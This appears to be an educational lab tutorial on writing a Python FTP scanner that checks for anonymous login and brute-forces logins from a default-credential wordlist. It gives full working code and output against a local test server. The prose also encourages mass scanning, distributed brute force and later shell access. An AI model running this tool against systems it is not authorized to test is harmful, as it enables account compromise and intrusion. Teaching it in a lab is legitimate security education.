FTP Weak Password Scanner Using Python

PythonPythonBeginner
Practice Now

Introduction

This project starts with implementing an FTP weak password scanner using Python, providing an introduction to Python penetration testing techniques. The experiment involves understanding FTP server principles, using the ftplib library, and other related knowledge.

  1. Understanding FTP servers: Learn about FTP servers, their purpose, and how they work.
  2. Using the FTPlib library: Utilize the ftplib library in Python to implement an FTP anonymous scanner and a brute-force password cracker.
  3. Using the argparse library: Learn how to handle command-line arguments using the argparse library in Python.
  4. Setting up an FTP server on Ubuntu: Follow instructions to set up an FTP server locally for testing purposes.

This project is of moderate difficulty and is suitable for users with a basic understanding of Python. It is a good opportunity to enhance and solidify their knowledge of Python fundamentals and gain practical experience in Python penetration testing techniques.

👀 Preview

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456

[+] 127.0.0.1 FTP Login successful: admin:123456

[+] Host: 127.0.0.1 Username: admin Password: 123456

[*]-------------------Scan End!--------------------[*]

🎯 Tasks

In this project, you will learn:

  • How to understand the working principles of FTP servers
  • How to use the ftplib library in Python to implement an FTP anonymous scanner
  • How to implement a brute-force password cracker for FTP servers using a password dictionary
  • How to handle command-line arguments using the argparse library
  • How to set up an FTP server on Ubuntu for testing purposes

🏆 Achievements

After completing this project, you will be able to:

  • Interact with FTP servers using Python
  • Implement scanning for anonymous logins and weak passwords
  • Handle command-line arguments in Python
  • Set up an FTP server on Ubuntu

Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL python(("`Python`")) -.-> python/BasicConceptsGroup(["`Basic Concepts`"]) python(("`Python`")) -.-> python/FileHandlingGroup(["`File Handling`"]) python(("`Python`")) -.-> python/ControlFlowGroup(["`Control Flow`"]) python(("`Python`")) -.-> python/DataStructuresGroup(["`Data Structures`"]) python(("`Python`")) -.-> python/FunctionsGroup(["`Functions`"]) python(("`Python`")) -.-> python/ModulesandPackagesGroup(["`Modules and Packages`"]) python(("`Python`")) -.-> python/ErrorandExceptionHandlingGroup(["`Error and Exception Handling`"]) python(("`Python`")) -.-> python/AdvancedTopicsGroup(["`Advanced Topics`"]) python(("`Python`")) -.-> python/PythonStandardLibraryGroup(["`Python Standard Library`"]) python/BasicConceptsGroup -.-> python/comments("`Comments`") python/FileHandlingGroup -.-> python/with_statement("`Using with Statement`") python/BasicConceptsGroup -.-> python/variables_data_types("`Variables and Data Types`") python/BasicConceptsGroup -.-> python/strings("`Strings`") python/BasicConceptsGroup -.-> python/booleans("`Booleans`") python/BasicConceptsGroup -.-> python/type_conversion("`Type Conversion`") python/ControlFlowGroup -.-> python/conditional_statements("`Conditional Statements`") python/ControlFlowGroup -.-> python/for_loops("`For Loops`") python/ControlFlowGroup -.-> python/break_continue("`Break and Continue`") python/DataStructuresGroup -.-> python/lists("`Lists`") python/DataStructuresGroup -.-> python/tuples("`Tuples`") python/FunctionsGroup -.-> python/function_definition("`Function Definition`") python/ModulesandPackagesGroup -.-> python/importing_modules("`Importing Modules`") python/ModulesandPackagesGroup -.-> python/using_packages("`Using Packages`") python/ModulesandPackagesGroup -.-> python/standard_libraries("`Common Standard Libraries`") python/ErrorandExceptionHandlingGroup -.-> python/catching_exceptions("`Catching Exceptions`") python/FileHandlingGroup -.-> python/file_opening_closing("`Opening and Closing Files`") python/FileHandlingGroup -.-> python/file_reading_writing("`Reading and Writing Files`") python/AdvancedTopicsGroup -.-> python/iterators("`Iterators`") python/PythonStandardLibraryGroup -.-> python/data_collections("`Data Collections`") python/FunctionsGroup -.-> python/build_in_functions("`Build-in Functions`") subgraph Lab Skills python/comments -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/with_statement -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/variables_data_types -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/strings -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/booleans -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/type_conversion -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/conditional_statements -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/for_loops -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/break_continue -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/lists -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/tuples -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/function_definition -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/importing_modules -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/using_packages -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/standard_libraries -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/catching_exceptions -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/file_opening_closing -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/file_reading_writing -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/iterators -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/data_collections -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} python/build_in_functions -.-> lab-298882{{"`FTP Weak Password Scanner Using Python`"}} end

FTP Server

An FTP server (File Transfer Protocol Server) is a computer that provides file storage and access services on the Internet, following the FTP protocol. FTP stands for File Transfer Protocol, which is a protocol specifically designed for file transfer. In simple terms, a server that supports the FTP protocol is an FTP server.

FTP is a service based solely on TCP and does not support UDP. What sets FTP apart is that it uses two ports, a data port and a command port (also known as the control port). Typically, these two ports are 21 (command port) and 20 (data port). However, the data port is not always 20, depending on the working mode of FTP. This is the main difference between active and passive FTP. There are mainly two working modes:

  • Active FTP

The FTP server's control port is 21, and the data port is 20. Therefore, when setting up static mapping, only port 21 needs to be opened. The server will initiate a connection with the client using port 20.

  • Passive FTP

The server's control port is 21, and the data port is randomly assigned. The client initiates the connection to the corresponding data port, so it is not enough to only open port 21 for static mapping. In this case, a DMZ (Demilitarized Zone) is required.

In this project, the development of an FTP scanner focuses on the following two aspects:

  1. Scan for anonymous FTP

Scanning for anonymous FTP logins is mainly used in batch scanning. The success rate of scanning a single FTP server is relatively low, but it is still possible to succeed. Some may wonder, are there still people who don't set passwords? Many websites still offer FTP services for users to download resources, so it is not surprising that anonymous logins are allowed. What's even more surprising is that website administrators open FTP anonymous logins for the convenience of updating website access software. This provides us with many opportunities, especially when attacking the latter type of server, which is vulnerable to attacks. In the future, I will explain how to obtain a shell after finding web pages in FTP directories.

  1. Scan for weak FTP passwords

Scanning for weak FTP passwords is essentially brute-forcing. Why don't we call it brute-forcing? Because we are only scanning for some simple password combinations, not all possible combinations. Plus, we don't have that much time to brute force, considering that we won't live for thousands of years! It's just a password. If we can't find weak passwords, we can move on. Why keep fixating on one flower when there are countless others in the world? However, if you really like this FTP server, I will teach you other ways to penetrate servers in the future!

Implementation of FTP Anonymous Scanner

In this case, we will use the FTP class from the ftplib library in Python. The FTP class implements most of the functionalities of an FTP client, such as connecting to an FTP server, viewing files on the server, uploading and downloading files, etc. Next, we will define the function anonScan(hostname) to implement the scanning of FTP servers that allow anonymous login. The code is as follows:

## Anonymous login scanner
def anonScan(hostname):                 ## The parameter is the hostname
    try:
        with FTP(hostname) as ftp:      ## Create an FTP object
            ftp.login()                 ## FTP anonymous login
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") ## If no exception is raised, it means login succeeded
            return True
    except Exception as e:              ## If an exception is raised, it means anonymous login failed
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

The code is concise, and the comments explain the meaning of the code. Here's the overall idea of this function: first, we construct an FTP object (named ftp) using the hostname. Then, we call the login() function without any parameters on this ftp object to initiate an anonymous login to the FTP server. If no exceptions are raised during the login process, it means the anonymous login is successful; otherwise, it means the anonymous login failed.

FTP Weak Password Scanning

Scanning for weak passwords in FTP relies on a username and password dictionary. In our experimental environment, ~/project/pwd.txt will be provided as the password dictionary.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

Next, we will create a code file ftpScanner.py in the ~/project directory to implement the scanning for FTP weak passwords, with respect to the format in the dictionary. The code is as follows:

## Bruteforce cracking
def vlcLogin(hostname, pwdFile):                ## Parameters (hostname, dictionary file)
    try:
        with open(pwdFile, 'r') as pf:          ## Open the dictionary file
            for line in pf.readlines():         ## Read each line in the dictionary file
                time.sleep(1)                   ## Wait for 1 second
                userName = line.split(':')[0]   ## Extract the username from the read content
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Extract the password from the read content
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Create an FTP object with the hostname as parameter
                        ftp.login(userName, passWord)   ## Log in to the FTP server using the extracted username and password
                        ## If no exception is raised, the login is successful, print the hostname, username, and password
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## If an exception is raised, it means the login was not successful, we continue trying other usernames and passwords
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

This code snippet loops through the dictionary to read usernames and passwords, and attempts to log in. If the login is successful, it means the username and password have been found. The function defines the hostname as a string that can be separated by ",". Finding a password does not terminate the program, but continues scanning for weak passwords on other hosts until all hosts have been scanned.

Command-line Parsing

So far, our FTP scanner is almost complete. The code is not long and is quite simple. Now, what we need to do is make our script able to handle command-line inputs to control which hosts to scan. To handle command-line arguments, we will use the argparse library in Python. This library is a built-in module in Python and makes command-line parsing very simple. Let's witness the power of argparse by looking at the following code:

## Creating an ArgumentParser object using a description
parser = argparse.ArgumentParser(description='FTP Scanner')
## Adding the -H command, where dest refers to the variable name we use to retrieve the value passed after -H, and help provides the help information for this command
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

By using the argparse library to parse command-line arguments, we can automatically generate a help document based on the help keyword provided when adding arguments. The result looks like this:

python3 ftpScanner.py -h

usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file

When dealing with complex commands, the power of argparse becomes even more apparent. Since this is a basic feature of Python, I won't go into too much detail regarding the libraries included in Python.

Integration of all code

The basic code has been implemented and now we just need to integrate the code above. The code is as follows:

from ftplib import *
import argparse
import time

## Anonymous login scan
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!")
            return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

## Brute force attack
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: ' + hostName + ' Can anonymously!')
        elif pwdFile != None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password != None:
                print('\n[+] Host: ' + hostName + 'Username: ' + username + \
                      'Password: ' + password)

    print('\n[*]-------------------Scan End!--------------------[*]')

if __name__ == '__main__':
    main()

With this, our code is complete. With some modifications, we can make this scanner even more powerful. For example, the host names can be specified within a range to achieve large-scale scanning or the code can be modified to implement distributed brute force attacks on FTP usernames and passwords, increasing the capacity of the dictionary and greatly improving the success rate.

Setting up the FTP server

Next, we need to set up an FTP server locally to test our scanner. Here, we will use the pyftpdlib library in Python to set up the FTP server. pyftpdlib is a Python library for FTP servers that can be used to quickly build an FTP server. Installing pyftpdlib is very simple, just use the pip command. Enter the following command in the terminal to install the pyftpdlib library:

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

By default, anonymous login is allowed.

Scanning Test

Now that our environment has been set up, we can proceed to test our FTP weak password scanner.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 FTP Anonymous login successful!
Host: 127.0.0.1 Can be accessed anonymously!

[*]-------------------Scan End!--------------------[*]

In this test, we mainly focus on anonymous login. As for the brute force cracking of weak passwords, you can find your own password dictionary and attempt to crack the FTP server.

Now, We try to add a password to the FTP server and test it again. First, we need to stop the FTP server and restart it with a password.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456

[+] 127.0.0.1 FTP Login successful: admin:123456

[+] Host: 127.0.0.1 Username: admin Password: 123456

[*]-------------------Scan End!--------------------[*]

Summary

This project implements an FTP weak password scanner, utilizing the following key points:

  1. Basic concepts of FTP servers
  2. Step-by-step implementation of an FTP weak password scanner using FTPlib
  3. Parsing command line arguments using argparse
  4. Methods for setting up a testing environment.

Other Python Tutorials you may like